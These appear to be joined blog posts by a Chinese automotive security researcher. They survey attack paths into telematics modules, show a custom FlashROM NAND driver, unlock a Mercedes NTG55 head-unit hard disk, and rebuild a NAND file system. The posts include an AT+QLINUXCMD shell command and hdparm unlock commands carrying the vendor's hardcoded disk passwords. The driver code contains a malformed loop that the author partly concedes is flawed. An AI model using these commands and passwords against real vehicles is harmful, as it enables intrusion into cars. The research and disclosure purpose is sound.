在测试之前,需要查阅官方资料,如果没有资料、很可能无法继续研究。我们对这些厂商的资料相关属性做了对比,如下表所示。其中丰富程度体现在是否有调试或者是启动过程的参考文档,安全建议只要有地方提到过就算有,比如设置调试秘钥、关闭调试口。
厂商 | 资料保密程度 | 资料丰富程度 | 安全建议 |
---|---|---|---|
H厂 | 代码开源、资料不公开 | 高 | 有 |
Q厂 | 代码不开源、资料部分公开 | 中 | 无 |
Z厂 | 代码不开源、资料部分对外国人公开 | 低 | 无 |
F厂 | 代码不开源、资料不公开 | 未知 | 未知 |
L厂 | 代码不开源、资料不公开 | 低 | 未知 |
S厂 | 代码不开源、资料不公开 | 未知 | 未知 |
Sierra | 代码开源、硬件资料不公开 | 中 | 有 |
Telit | 代码不开源、资料部分公开 | 高 | 未知 |
Sierra不提供硬件资料,但是软件资料却有很多,并且在 Github 有开源项目,文档里有时也会提到安全建议。H厂模组代码默认不开源,发邮件给H厂,要求遵循协议(老外就是这么操作的),由于产品是国内的,国外市场的客服把我踢回CN客服,然后CN客服直接装傻。贸易战开始后,H厂把通信模组的代码也开源了。代理商不提供更深层的开发资料,除非签NDA。但是H厂提供的文档有提到安全的建议。Q厂官方就提供资料,但是最近有些资料下不到了。跟Q厂签了NDA,提供的资料也就只有源码和一些普通开发文档,并没有安全建议。
其中H厂在早期的产品使用高通的方案,后期逐渐换成了 HiSilicon LTE Cat6 的方案,一般是 HI6932 。其他厂商使用的都是高通 MDM96xx ,大部分基带芯片是 MDM9615 和 MDM9628 。
左图为 HiSilicon 方案,右图为 Qualcomm 方案,存储芯片一般是 DDR2+NAND Flash 的 MCP 封装芯片,绝大多数存储芯片是镁光颗粒。模组的封装大多是 LGA ,这样可以防止引脚直接暴露。
非车规级模块,比如Z厂在充电桩的方案,有可能是 LCC 封装,所有引脚都暴露在外部
但是也有车规级芯片使用 LCC 封装,比如左图L厂的模组。右图是 Tier 1 使用 S 厂的非车规级的模组。
拿到硬件设计资料,我们可以对封装的每个引脚标记,找到对外能利用的接口
通信模组在 TCU 的解决方案主要有两个大类,MCU 外挂模块 和 OpenCPU 方案。
MCU 外挂模块方案简单来说就是业务逻辑全部在 MCU 上,通信模组仅作为网卡,或者提供 TCP/IP 和 SSL 协议栈。这种方案对 MCU 的各方面要求较高,也不能充分利用通信模组的性能。非车规级模块性能一般,这种解决方案适合传统 IoT 设备。但是某些 Tier 1 的 TCU 也使用这种方式,非常奇怪。
对于后者,实际上就是把业务逻辑放在通信模组里, MCU 只负责控制电源管理和外围接口。别的厂商应该用过这种方案,但不是叫 OpenCPU 。 OpenCPU 这个名字国外几乎没有,貌似是H厂在国内掀起的概念,作为行业老大,后面的国内厂商也跟着使用了,路毕竟是人踩出来的,所以后面的文章也会使用这个词。
攻击入口主要如下
对于通信模组本身,攻击场景的方向大概有下面几种
根据上述方向,可以确定好攻击场景,最后一点实在太简单,没必要展开叙述。
对于 ext MCU 方案的 TCU ,嗅探 MCU 与 LTE Module 的 UART 通信,获取到 APN 配置信息。或者直接飞线到负责AT命令的UART接口,发送查询网络配置信息。
也可以提取外置的 EMMC ,对 log 文件分析,提取出 APN 配置信息。或者通过 UART log 拿到调试用的 APN 信息。
再通过 E-SIM 飞线,对车厂或 Tier 1 内网进行渗透。
通过UART日志口获得TSP服务地址
对于双向认证的服务器,特别是 ext MCU 方案的 TCU ,通过嗅探 AT 提取出 SSL 客户端证书,对服务端进行访问
客户端没有对服务端做认证,那么只要劫持到恶意的TSP,恶意TSP做中继功能,并可以注入自己的代码
通信代码同时支持两套协议,一套没有加密,一套使用AES加密,只要握手时将协议降级,就可以分析出协议格式,并对车辆进行命令注入。
非预期指令是指 MCU 层实现,但是 TSP 还没有实现的控车指令。
汽车在某些情况,需要用短信来唤醒,但是开发者很聪明,想顺便在无网络的情况也可以远程控车。某共享汽车的模组接收短信的 AT 命令来控制车身,只需要向该设备发送短信就能攻击。是比较傻的。
另外一款汽车的早期软件版本,控车功能在无网络时,平台会通过短信隧道发送指令。早期既没有认证平台号码,也没用签名措施。使用特定的格式,没有加密算法,只有 VIN 和 Base64。
可以使用通过外部的AT接口获取短信内容。也可以使用伪基站嗅探,然后使用AT命令向其他手机号发送短信,获得M2M卡号,用其他手机向该号码发送控车指令。
在下一个版本,加入了消息认证码检验,签名使用 VIN + 唯一的动态的秘钥,动态秘钥走双向认证的云端同步,但是每次休眠都会将秘钥删除。并且和场景1的因此只要让模组的网络无法使用,那么将无法从云端同步秘钥,只能接收短信,因此该版本同时兼容两个协议
security_flag会自动变为00,程序也会跳过消息认证码检验
现在的版本不会自动删除秘钥了,也就意味着这一段过程是安全的。
将 NAND Flash 从 SoC 上拆下
对引脚飞线,使用编程器提取里面的数据,然后将文件系统还原
随后就可以对 OpenCPU 方案的客户端程序进行分析,甚至可以拿到客户端的证书。
在这些厂商中,只有 Telit 对 NAND Flash 使用了环氧树脂防拆,强行拆会把PCB也破坏
因此我们使用砂纸打磨,露出焊盘
再进行飞线操作
如果不想飞线,刚好又能找到 JTAG 的接口,那么就能使用 OpenOCD 对固件进行提取,目前只有H厂有 JTAG 的标注,并且对于 JTAG 调试也有专门的安全建议,只不过开发者无视了这些内容。
中断时机需要掌握好
提取出文件,接下来就是逆向分析和调试了。调试的话 QEMU 是不能满足要求的,毕竟这些系统是都有大量安卓的特征,还有外围接口要模拟,不如直接使用开发板。
有些设备默认就开启了网络 ADB ,监听0.0.0.0。任何处于同一网络的设备都可以访问该服务。如果该 TCU 有 WLAN 功能,那么可以通过 AT 开启 WLAN ,或者使用已有的 WLAN 来访问网络 ADB 服务。否则就劫持移动网络吧。
只是速度不太理想
对于某些未隔离的 APN 隧道的私网,可以在拿到一台设备的权限下,再横向拿到其他通信模组的权限。
有时会 cmdline 会直接配置tty指向外部UART口
使用弱口令就可以拿到 Shell
如果没有直接的 TTY ,也有其他方式通过 UART 拿到 Shell。对于Q厂的模组,可以使用UART发送 AT+QLINUXCMD="your command" 执行命令,甚至将回显可以转发到GNSS 的 UART 口,
1
AT+QLINUXCMD="ps" > /dev/ttyGS0
有时他们会把这种指令禁用、不过不要紧。我们将通信模组的USB线飞出,使用AT切换USB的方法,修改USB的VID和PID,让系统把设备识别成Android设备,使用ADB就能对设备进行访问。
有时 Tier 1 会在系统里预留一些后门,可以通过后门切换 USB 模式从而拿到 Shell
数据方向如下,在CAN总线或者在 MCU 与 LTE 模块的通信发送触发指令都可以实现,这是 Telit 的模块,后门是 Tier 1 编写的
CAN-bus->MCU->LTE Module
对于车规级通信模组, FOTA 大多数是交给第三方公司负责,F厂的设备使用Red Bend。再或者由 Tier 1 负责,一般都有自己的安全协议。有时也会通过 IVI 触发升级。现在的整车厂对传输原来越重视,这两年没有直接劫持移动网络篡改通信模组固件的案例,要么不是 OpenCPU 方案,要么就是使用了安全传输。大多数场景都是拿到 OTA 平台权限直接下发固件。
另外一种则是本地篡改,首先要获得固件,可以是提取也可以是源码编译。然后进入特定的模式,在 Telit 模块操作相应Pin 脚可以进去高通 9008 模式和 Fastboot 模式,这个 MDM96xx 系列没有公开的 Sahara,所以不能像手机取证那样提取固件,也不能像救砖那样刷写文件。但是重启到 Fastboot 就可以随便刷了。可以随便刷但不能随便启动,Telit 会验证签名。比如Q厂和H厂的有一些特殊的方式本地刷写固件,比如使用开发版固件、或者利用JTAG刷写。
TCU有 CAN-bus 接口,对于 OpenCPU 方案,只要拿到了通信模组的ROOT权限,大多数场景可以刷写 MCU 固件,接入 TCU 所在 CAN-bus 域,从而进一步侵入汽车,甚至会影响到人身安全。
以上攻击场景的漏洞,并不完全是通信模组厂商的问题,除了一些“硬伤”。最主要的还是 Tier 1 厂商设计初期没有考虑到安全问题。但是通信模组厂商也有义务唤醒 Tier 1 厂商的安全意识。
这些通信模组在安全方面的差距,主要体现在产品开发过程和内置的系统。
首先,并不是不公开资料就能让模块变得安全。H厂公开的东西比Q厂多,但是如果考虑安全建议,H厂的设备还是要比Q厂安全一点。通信模组厂商应该在每个可能导致攻击的地方,给出生产环境应该注意的事项,让开发者知道。
另外在产品定位方面,Tier 1 厂商应该谨慎选择通信模组,如果是汽车,就应该使用车规级的模组。
开发者应该提高安全意识,攻击场景列出的不是配置问题就是自己加了后门。原理都很简单。
并不是每个 Tier 1 厂商都有能力开发出安全的系统,国内厂商的通信模组都是直接用的ROOT权限,既然是 OpenCPU 方案,就应该考虑到权限分配的问题。Sierra 通信模组就提供 legato 的系统,每个 Telematics 应用都在独立的沙箱。
Telit 的通信模组,不仅在硬件层做了防护,里面的系统还用到了一些技巧,表面上是ROOT权限,实际上是 chroot 到了其他目录,而且没有完整的权限,连字符设备都访问不了。
工信部提出车的联网(智能网联汽车)产业发展行动计划,加上在2020年实施的"国六"排放政策,传统汽车在市场占有率会越来越低,取而代之的是网联汽车。因此,这也意味着未来网联汽车会面临许多安全问题,不论是现在的 Telematics 还是将来的 V2X ,都会用到通信模组。
半年多没写文章了,固件提取系列已经写到第11部,这一个我觉得没那么难,可以公开。
FlashROM是一款开源的Flash固件提取项目,支持多种硬件平台,SPI Flash和Parallel Flash。这一次遇到了一款NAND的SPI Flash,型号为IS38SML01G1,车规级存储芯片。起初以为SPI Flash都是NOR芯片,于是没有看手册,飞线用编程器读取,通常的编程器无法读取,又使用RT809H读取,也失败。于是查看手册才发现是NAND Flash,目前只有REVELPROG-IS支持读写。一开始想使用FT2232HL来读取,发现官方对该芯片的文档支持不是很好,于是使用树莓派3B。
flashchips.c文件保存了各个芯片的配置信息,设计的非常好,扩展性很强。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22{
.vendor= Vendor name
.name= Chip name
.bustype= Supported flash bus types (Parallel, LPC...)
.manufacture_id= Manufacturer chip ID
.model_id= Model chip ID
.total_size= Total size in (binary) kbytes
.page_size= Page or eraseblock(?) size in bytes
.tested= Test status
.probe= Probe function
.probe_timing= Probe function delay
.block_erasers[]= Array of erase layouts and erase functions
{
.eraseblocks[]= Array of { blocksize, blockcount }
.block_erase= Block erase function
}
.printlock= Chip lock status function
.unlock= Chip unlock function
.write= Chip write function
.read= Chip read function
.voltage= Voltage range in millivolt
}
根据文档,加入了38SM的配置信息。根据文档信息,一个NAND SPI Flash有1024个Block,每个Block有64Page,一个Page有2K+64字节,其中64是冗余区。这里的Total Size是以KB为单位,因此不需要加上冗余区的大小。电平范围根据文档设置成2.7V~3.6V。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22{
.vendor= "ISSI",
.name= "IS38SML01G1",
.bustype= BUS_SPI,
.manufacture_id= ISSI_NAND_ID,
.model_id= ISSI_NAND_ID_SPI,
.total_size= 131072, /* kb */
.page_size= 2048, /* bytes, actual page size is 64 */
.tested= {.probe = OK, .read = OK, .erase = NA, .write = NA},
.probe= probe_spi_rdid5,
.probe_timing= TIMING_ZERO,
.block_erasers=
{
{
.eraseblocks = { {64 * 2048, 1024} },
.block_erase = spi_block_erase_d8,
}
},
.write= NULL,
.read= spi_read_issi,
.voltage= {2700, 3600},
},
要读取Flash的内容,需要实现芯片的初始化和读取功能。因此我们只要对probe和read添加指针。下图是各个Command的定义,包括Op Code字节,寻址用的字节,填充字节和下位机返回的数据字节。数据的传输格式是MSB。
初始化需要读取ID,首先把芯片ID定义写好。Mark Code 和 Device Code有用。剩下的Communication Code 0x7F7F7F也顺便写上去吧。
1
2
3#define ISSI_NAND_ID0xC8
#define ISSI_NAND_ID_SPI0x21
#define ISSI_38SML01G10x7F7F7F
FlashROM内置的probe_spi_rdid4函数用于读取JEDEC ID,即发送0x9F,但是由于该芯片发送Read ID指令需要填充一个字节,正常情况使用probe_spi_rdid读取第一个字节会变成0x00。ISSI文档的时序图简直AV画质。
因此需要新建一个函数,把它命名为probe_spi_rdid5。另外再加上读取的函数spi_read_issi,它们都要在chipdrivers.h里声明
1
2int probe_spi_rdid5(struct flashctx *flash);
int spi_read_issi(struct flashctx *flash, uint8_t *buf, unsigned int start, unsigned int len);
Read ID函数,如果第一位是0x00,那么跳过这一位继续读取。也可以发送ID的时候填充一位,就不用判断MISO的数据了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44int probe_spi_rdid5(struct flashctx *flash)
{
const struct flashchip *chip = flash->chip;
unsigned char readarr[6];
uint32_t id1;
uint32_t id2;
uint32_t bytes = 6;
if (spi_rdid(flash, readarr, bytes)) {
return 0;
}
if (!oddparity(readarr[0]))
msg_cdbg("RDID byte 0 parity violation. ");
/* Check if this is a continuation vendor ID.
* FIXME: Handle continuation device IDs.
*/
if (readarr[0] == 0x00) {
if (!oddparity(readarr[1]))
msg_cdbg("RDID byte 1 parity violation. ");
id1 = (readarr[0] << 8) | readarr[1];
id2 = readarr[2];
} else {
id1 = readarr[0];
id2 = (readarr[1] << 8) | readarr[2];
}
msg_cdbg("%s: id1 0x%02x, id2 0x%02x\n", __func__, id1, id2);
if (id1 == chip->manufacture_id && id2 == chip->model_id)
return 1;
/* Test if this is a pure vendor match. */
if (id1 == chip->manufacture_id && GENERIC_DEVICE_ID == chip->model_id)
return 1;
/* Test if there is any vendor ID. */
if (GENERIC_MANUF_ID == chip->manufacture_id && id1 != 0xff && id1 != 0x00)
return 1;
return 0;
}
另外是读取函数,首先要知道芯片数据的读取过程。NAND主控先把NAND的数据放入Cache Memory,一次只能读一页,然后NAND主控再把数据从Cache读取出来输出到上位机。
因此要先发送读取指令,告诉控制器要读取哪一页。在NAND数据传输到Cache的时候,不能做其他读写操作。此时状态寄存器应该处于繁忙状态。OIP==1。
在发送完页读取指令后,应该循环发送0x0F 0xC0直到OIP==0。
因此一次完整的读取流程的CMD如下:
0x13 页读取0x0F 0xC0 轮询状态0x03 缓存读取
页读取根据Command定义,寻址字节长度为3,其中有一字节为无效数据,所以最大地址为0xFFFF,换算成10进制长度为65536。1024 Blocks * 64 Pages = 65536 Pages。这里的填充数据暂时先理解为[7:0],寻址数据为[23:8]
缓存读取的寻址长度为2-bytes,填充字节为1-bytes + 4-bits,因此缓存的寻址长度为12-bits既4096,文档中规定的范围是0-2112,可以理解为2048-bytes + 64-bytes (OOB area)。
下面是spi_read_issi的实现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64int spi_read_issi(struct flashctx *flash, uint8_t *buf, unsigned int start, unsigned int len)
{
uint8_t cmd[4];
uint8_t page_read_resp[1];
unsigned int ret = 0;
unsigned int buf_off = 0;
uint8_t cache_read_cmd[4];
uint8_t get_feature_cmd[2] = {0x0f, 0xc0};
for (unsigned int address_h = 0; address_h < 256; address_h++)
{
for (unsigned int address_l = 0; address_l < 256; address_l++)
{
cmd[0] = 0x13; /* page read cmd */
cmd[1] = 0x00; /* dummy byte */
cmd[3] = (uint8_t)address_h;
cmd[2] = (uint8_t)address_l;
ret = spi_send_command(flash, sizeof(cmd), 1, cmd, page_read_resp);
/* 7-0 bits: ECC_S1, ECC_S0, P_Fail, E_Fail, WEL3, OIP */
uint8_t status[1] = {0};
int get_feature_ret = 1;
{
internal_sleep(10);
get_feature_ret = spi_send_command(flash, sizeof(get_feature_cmd), sizeof(status), get_feature_cmd, status);
}while (get_feature_ret);
/* printf("\nStatus: 0x%X, get_feature_ret:%d\n", (unsigned int)status[0], get_feature_ret); */
cache_read_cmd[0] = 0x03; /* page read cmd */
cache_read_cmd[1] = 0x00;
cache_read_cmd[2] = 0x00;
cache_read_cmd[3] = 0x00; /* dummy byte */
if (status[0] == 0)
{
int cache_read_ret = spi_send_command(flash, sizeof(cache_read_cmd), 2048, cache_read_cmd, buf + 2048 * buf_off);
ret = cache_read_ret;
} else {
printf("device busy. timeout\n");
ret = spi_send_command(flash, sizeof(get_feature_cmd), sizeof(status), get_feature_cmd, status);
}
/* Send Read */
unsigned int *buf_addr = (unsigned int *)((unsigned int)buf + 2048 * buf_off);
if (buf_addr[0] != 0xffffffff){
printf("buf_off:%d, address: 0x%x%x\nbuf_addr: 0x%X\ndata:\n", buf_off, (int) cmd[2], (int)cmd[1], (unsigned int)buf_addr);
/*int* = 4* int8 */
for (int b = 0; b < 512; b++)
{
printf("%08x", buf_addr[b]);
}
printf("\n");
}
// printf("\n");
if (ret){
printf("reading err");
break;
}
buf_off++;
}
}
return ret;
}
首先使用夹具,热风枪400℃底部加热12秒
将芯片焊在转接板上面
一开始没有考虑到WSON封装的底部会导致短路,于是重新飞线
接至树莓派3B
接线方式如下,HOLD要接在VCC上。
RPi header | SPI flash |
---|---|
25 | GND |
24 | /CS |
23 | SCK |
21 | DO |
19 | DI |
17 | VCC 3.3V (+ /HOLD, /WP) |
开启SPI模拟
1
2vi /boot/config.txt
dtparam=spi=on
加载内核模块
1
2
3# If that fails you may wanna try the older spi_bcm2708 module instead
sudo modprobe spi_bcm2835
sudo modprobe spidev
1
flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=10000 -c IS38SML01G1 -V -r /tmp/is38_nooob.bin
读取出来的128MB固件几乎全是0xFF,但是问了厂商,这个芯片存储了一些软件和配置信息。由于ISSI Flash文档没有写清楚页读取寻址的格式,寻址有3字节,高位字节和低位字节连续,所以有两种排列,再与填充字节组合,有4种地址格式,不知道哪一种是正确的。于是我把4种地址格式都读了一遍,只是数据的分布变化了,没有办法确定正确的分布。
完全按照文档编写的驱动,读取出来几乎全是0xFF,感觉是哪里出问题了,于是上逻辑分析仪。只需要抓取三个通道的数据,MOSI,MISO,CLK。使用MSB,CPOL和CPHA都设为0。
设置成时钟上升沿触发,采样频率200MHz。首先抓取树莓派读取Flash的的数据,符合文档规范,
读取JEDEC ID
读取状态
当读取cache时,发完4个字节的数据,MISO就一直处于高电平,让人觉得是哪里不对。
再对目标设备抓取数据
首先读取JEDEC ID,没问题,和树莓派的区别是只返回前两个ID。
页读取到缓存读取,首先发送读取页的指令,然后发送读取状态,等待控制器返回0,再发送缓存读取指令。这里就出问题了,后面的MISO也是输出0xFF,但是每四个字节输出,Master就会输入4个不知道什么含义的字节,循环交替。0x03可以确定是单路传输,并且在树莓派上,MOSI也不会产生数据,可以证明不是Slave发来的。
至少证明我的代码没错,设备目前没有使用到存储芯片,
一开始想把冗余区读取出来,所以响应buffer设成2112,最后在dump文件里看到了ELF的文件头,一开始以为目标设备使用了ELF文件。但是总觉得不对劲,车载网关怎么会使用Linux。
后来查看内存的地址分布,感觉是超出了堆的大小,越界读到了后面的库文件
计算一下,第一段是实际堆的大小,第二段是实际读取的大小,第三段是正常读取的大小,所以不要去读冗余区。
时隔一个多月,购买了REVELPROG-IS,用于验证FlashROM读取的结果是否正确。
这是波兰制造,包装和编程器外观都还行
电路设计很简单,一颗STM32F103的芯片,价格有点小贵,还好没被抄板子
WSON8的烧录座还没到货,暂时飞线读取。
读取速度超慢,花了几分钟时间。不支持调整速率,还是FlashROM速度最快
读取的数据和前面一致
寻址格式和第三种对应,具体顺序忘了,以后就用这个编程器读了。
在后续的研究中,发现这个文章存在一些坑。Address_h 和 address_l 是在不知道读取规则的前提下假设的,因为文档没有写。两者长度都假设是8-bit。在阅读了其他几款芯片的文档后,确定存在问题。实际上这两个参数代表块地址与页地址,块数量1024,占据10位,页地址64,占据6位,加起来刚好16-bits。不同大小的芯片有不同的规则。因此读取的结果会出现重复,加上有效数据刚好分布在存储设备的前面部分,剩余的都是无效数据,即使地址错误,读取出来的结果也不影响,最终呈现和编程器读取一致的结果。
另外给出的代码里,Status判断存在问题,不一定要为0才能读取数据。BBM LUT FULL(Look-Up Table)也可能为1,ECC Err Status可能是0x20。
]]>关于从加锁的硬盘提取信息的那些事,走了很多弯路。
以前买了NTG55的Head Unit,装配在奔驰E系车型。
将目标设备拆开后,可以发现一块车规级HDD
硬盘信息如下MQ01AAD032CSerial ATA 2.6 / ATA83.0 Gbit/s , 1.5 Gbit/s320 GB
右侧是旧款 Head Unit 使用的硬盘,左边是新款,再新也不过是NTG55,现在已经到NTG7了
该硬盘最高支持SATA 2.6。当我拿到手的时,接在USB硬盘盒上发现读不出来,以为硬盘是运输途中损坏了。实际上这个硬盘非常耐艹,碰撞了多次都没事,不愧是车规级。
后来尝试接到台式机上,发现启动之后BIOS提示硬盘有密码,试过各种弱口令都不行。
进入Linux查看两款不同型号的硬盘信息,Security节都提示locked。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39$ sudo hdparm -I /dev/sdb
# 东芝
ATA device, with non-removable media
Model Number: TOSHIBA MQ01AAD032C
Serial Number: 46NHP01LT
Firmware Revision: AK001Y
Transport: Serial, ATA8-AST, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6
Standards:
Supported: 8 7 6 5
Likely used: 8
Security:
Master password revision code = 7
supported
enabled
locked
notfrozen
notexpired: security count
supported: enhanced erase
Security level high
116min for SECURITY ERASE UNIT. 116min for ENHANCED SECURITY ERASE UNIT.
# 日立
ATA device, with non-removable media
Model Number: HGST HEJ423232H9E300
Serial Number: F63001FNJ7W93L
Firmware Revision: F6BOA200
Transport: Serial, ATA8-AST, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6; Revision: ATA8-AST T13 Project D1697 Revision 0b
Security:
Master password revision code = 7
supported
enabled
locked
notfrozen
notexpired: security count
supported: enhanced erase
Security level high
104min for SECURITY ERASE UNIT. 106min for ENHANCED SECURITY ERASE UNIT.
当时对于一个没有硬件基础的我来说,实在是太难了,寻求过硬盘数据恢复公司也没有能做的。
网上能找到的资料太少,并没找到解锁SATA硬盘的相关资料。有人嗅探IDE数据来解密硬盘,但是这块硬盘是SATA的。
参考:Open Sesame: Harddrive Password Hacking with a OpenBench Logic Sniffer
曾经想过嗅探SATA的信息,因为SATA速度太快,计划用FPGA实现,但是太耗时间和资金,遂放弃。
将硬盘拆开,基本信息如下
1
2
3
4MCU:88i8317-RAI2
DDR:Winbond 4MB
Flash:MXIC MX25V4006EZNI 512K
HDD Motor Combo IC: TLS2605
后来我拆下里面的Flash芯片,读取了Toshiba的Flash固件,考虑到BIOS上能键盘输入硬盘解锁密码,猜测密码可能是字符串,但是并没有找到疑似密码的字符串。(实际上密码是非ASCII的字节) 。后来读取了两个日立硬盘的固件进行对比,如果一机一密并且是简单对比验证的密钥,就有可能成果获取。(实际上所有设备密码都一样)
虽然是ARM指令的固件,但是我当时并不擅长逆向嵌入式固件,也没有阅读过硬盘固件的源码,思路中断。
本来想找调试接口,曾经看过别人通过JTAG调试硬盘固件,绕过加密认证,但是这个MCU没有公开的调试资料,当时我没有JTAGulator,所以也就放弃这条路了。
参考:
Hard Disk Firmware Hacking (Part 1)
Hard Disk Firmware Hacking (Part 2)
还有一种可行的方法,先在设备端通电让目标设备解锁,但是不断电,解锁的Key会保存在硬盘的RAM中,将硬盘接在电脑上就可以直接使用。这是我解锁之后才知道的。
参考:Self-encrypting deception: weaknesses in the encryption of solid state drives (SSDs)
查阅ATA2.6标准,并没有找到解锁密码之类的信息,猜测可能是硬盘主控独有的特性。于是我又查找硬盘手册,终于找到了相关资料。
密码长度是32字节,在Bootloader里除了SD卡密钥以外,也没发现相关信息。0xF2这个Command就可以作为逆向的切入点。不管是在JTAG动态调试MCU、还是调试硬盘驱动都能派上用场。
HeadUnit的Bootloader并不会为硬盘解锁,而是Bootloader解密完WinCE Image之后,ATA驱动负责发送0xF2命令解锁。(可以初步判断这个硬盘里面的内容不是很重要)。
毕竟解密了系统,干脆直接分析驱动文件
原始密码分别如下,搜索这些密码,发现已经有人在2014年用逻辑分析仪破解出来了,NTG4使用的是IDE接口硬盘。NTG4 und NTG4.5 Festplatte Einsehen, Clonen, Ändern
1
2MELCO SANDA NTG55HUH Navi Master
MELCO SANDA NTG55HUH Navi User
转码如下(当时嫌麻烦,直接模拟执行的,这次仔细看了下,F5有点问题,转码部分汇编就4行代码)
1
2
3for b in 'MELCO SANDA NTG55HUH Navi Master':
print(hex(0xff-ord(b)), end=" ")
print()
PS: MELCO代表三菱电机公司,SANDA代表三田製作所。HU55就是三菱电机制造的。日本人的严谨程度非常变态,几个小安全问题就能开会开到晚上。所以这个设备使用了Bootloader加密,SD卡锁,硬盘锁,还有自毁式安全启动。
接下来使用这些命令解密硬盘
1
2
3
4
5# MASTER PASS
sudo hdparm --user-master m --security-unlock $(printf '\xb2\xba\xb3\xbc\xb0\xdf\xac\xbe\xb1\xbb\xbe\xdf\xb1\xab\xb8\xca\xca\xb7\xaa\xb7\xdf\xb1\x9e\x89\x96\xdf\xb2\x9e\x8c\x8b\x9a\x8d') /dev/sdb
# USER PASS
sudo hdparm --user-master u --security-unlock $(printf '\xb2\xba\xb3\xbc\xb0\xdf\xac\xbe\xb1\xbb\xbe\xdf\xb1\xab\xb8\xca\xca\xb7\xaa\xb7\xdf\xb1\x9e\x89\x96\xdf\xaa\x8c\x9a\x8d\xdf\xdf') /dev/sdb
执行命令之后,分区就出现了,全都是地图文件,旧设备性能差,可能会冗余地图数据换取性能。而在NTG65中去掉了硬盘,取而代之的是大容量EMMC,所以不需要那么大的硬盘。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22Disk /dev/sdb: 298.1 GiB, 320072933376 bytes, 625142448 sectors
Disk model: TOSHIBA MQ01AAD0
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: dos
Disk identifier: 0x17192a08
Device Boot Start End Sectors Size Id Type
/dev/sdb1 36864 31494143 31457280 15G c W95 FAT32 (LBA)
/dev/sdb2 31494144 195071999 163577856 78G c W95 FAT32 (LBA)
/dev/sdb3 195072000 358649855 163577856 78G c W95 FAT32 (LBA)
/dev/sdb4 358649856 625137344 266487489 127.1G f W95 Ext'd (LBA)
/dev/sdb5 358651904 503355391 144703488 69G b W95 FAT32
/dev/sdb6 503357440 545300479 41943040 20G b W95 FAT32
/dev/sdb7 545302528 576759807 31457280 15G b W95 FAT32
/dev/sdb8 576761856 578207743 1445888 706M b W95 FAT32
/dev/sdb9 578209792 592889855 14680064 7G b W95 FAT32
/dev/sdb10 592891904 597086207 4194304 2G b W95 FAT32
/dev/sdb11 597088256 603379711 6291456 3G b W95 FAT32
/dev/sdb12 603381760 609673215 6291456 3G b W95 FAT32
/dev/sdb13 609675264 625135615 15460352 7.4G b W95 FAT32
Open Sesame: Harddrive Password Hacking with a OpenBench Logic Sniffer
Toshiba_2.5_disk_product_specification.pdf
SerialATA_Revision_2_6_Gold.pdf
Hard Disk Firmware Hacking (Part 1)
Hard Disk Firmware Hacking (Part 2)
Self-encrypting deception: weaknesses in the encryption of solid state drives (SSDs)
]]>本文记录了还原车机内NAND Flash文件系统的过程。
车机中高通CPU使用MXIC B162711 NAND Flash存储芯片,一般很少直接用NAND Flash的,除非像高通这样对自己的主控特别自信。在进行硬件分析时,发现此芯片并未采取防拆措施,故将其放在焊接台,进行拆解。
其芯片信息如下,是一块512MB的SLC NAND
芯片采用BGA63封装,其引脚定义如下
以下为提取过程,使用的是Proman编程器
随后我对此芯片的固件进行了多次的读取,并相互比对,保留出现次数多的字节,尽量减小翻转位的影响,保证固件的正确性。
车机使用高通CSR3703 SoC方案。
互联网上并未公开该芯片的数据手册,尝试了_________,无法获取数据手册,他们对数据手册非常保密。
手动拆解芯片,也无法从BGA排列判断芯片类型。
通过盲测,确定了SoC内存映射表在NAND主控中,因此固件转储文件的逻辑块顺序无法确定。
因此只能对提取的固件盲测,通过分析NAND Dump的二进制数据,暂时把系统底层部分文件提取出来,包括U-Boot。
可以对U-Boot逆向分析,但是重要信息在系统分区内。
CSR Visor 128KB
Device Tree,显示控制台为ttySiRF1,波特率115200
NAND主控配置信息。
由于上一台车机的NAND转储文件擦除块过于随机,因此从另一台车机拆解了NAND Flash读取
为了继续使用车机,对芯片重植球,使用光学焊台进行对位修复。
查阅了一些资料,WL模式可能是混合模式,参考了现有公开的FTL代码,并没有找到能匹配的映射逻辑,猜测FTL Table可能存放在NAND Controller的ROM内。
通过分析U-Boot,确定使用了专有的NANDDisk驱动,使用IOCtl来读写NAND,映射算法不在此处。
因此只能得到碎片化的文件,而非文件系统。为了测试映射表是否真的存放在SoC内,我将两台相同的车机的NAND Flash进行替换实验,控制变量,并进行多次植球拆焊,使用其他车机的NAND Flash没有一次能启动。最后,我将自带的NAND Flash植球分别装回原先的车机,能成功启动,证明了SoC内存在映射。
经过多次对比,将完整性高于50%的RAMdisk提取出来,可以成功读取到前半部分的数据。
但是可以确定使用了Linux EXT文件系统,根据MBR信息有三个分区
Parititon1: 30MB
Partition2: 400MB
Partition3: 61.75MB
其他文件只是一些资源文件和碎片化的ELF文件,因为ELF碎片化,无法正常逆向分析。
于是我手动尝试寻找擦除块顺序逻辑,将每个擦除块分离出来,分析每个块的特征,由于最前面一部分的OOB区域和后面不一样,影响了我当时的判断,只找出了页的顺序,所以只能还原出体积较小的zImage和Ramdisk,整体逻辑无法猜解。
在NAND转储文件中也没找到Map Table,因此无法在短时间内获取文件,需要分析清楚块的规律,才能得到映射逻辑。
我把最后另一台车机的NAND Flash拆下并进行了读取。
发现两个车机系统版本不一致,无法继续分析。
XXXXX_IHU_LOW_A7_LINUX_18.0F40
XXXXX_IHU_LOW_A7_LINUX_18.0F43
Kernel和ramdisk的编译时间页不一致,因此没有办法通过盲测来猜解映射算法
因为使用了混合映射,通过USB HID GetShell的方式获取了相同版本的固件进行分析,得到了映射算法。
